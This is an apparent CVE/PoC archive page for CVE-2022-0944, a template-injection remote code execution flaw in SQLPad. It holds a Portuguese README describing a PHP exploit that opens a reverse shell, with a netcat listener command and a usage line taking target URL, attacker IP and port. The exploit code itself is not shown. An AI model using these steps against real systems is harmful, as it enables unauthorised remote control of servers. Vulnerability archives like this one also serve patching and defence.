Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2022-0944 PoC — Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad

Source
Associated Vulnerability
Title: Template injection in connection test endpoint leads to RCE in sqlpad/sqlpad (CVE-2022-0944)
Description:Template injection in connection test endpoint leads to RCE in GitHub repository sqlpad/sqlpad prior to 6.10.1.
Description
CVE-2022-0944 Remote Code Execution Exploit
Readme
# SQLPad-RCE-Exploit-CVE-2022-0944
CVE-2022-0944 Remote Code Execution Exploit

# Funcionamento:

Este código PHP é projetado para explorar uma vulnerabilidade de Execução Remota de Código (RCE) no software SQLPad, relacionada à falha CVE-2022-0944. Ele funciona injetando um código malicioso na aplicação SQLPad, forçando-a a executar um comando de sistema que abre uma shell reversa – uma conexão que dá ao atacante controle remoto do sistema vulnerável.

# Pré-requisitos:
PHP CLI - (sudo apt-get install php-cli)
cURL (biblioteca PHP cURL) - (sudo apt-get install php-curl)

# Modo de uso: 
configuração do Listener no Atacante
Para capturar a conexão reversa, inicie o Netcat na máquina do atacante. (nc -lvnp 4444)

php exploit.php <root_url> <attacker_ip> <attacker_port>
<root_url>: A URL raiz do SQLPad vulnerável (ex.: http://target.com:3000).
<attacker_ip>: O endereço IP do atacante que escuta a conexão reversa (mesmo IP do Netcat).
<attacker_port>: A porta na qual o atacante está escutando (mesma porta usada no Netcat).

# Referencias:
https://github.com/0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944.git
https://nvd.nist.gov/vuln/detail/CVE-2022-0944 
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →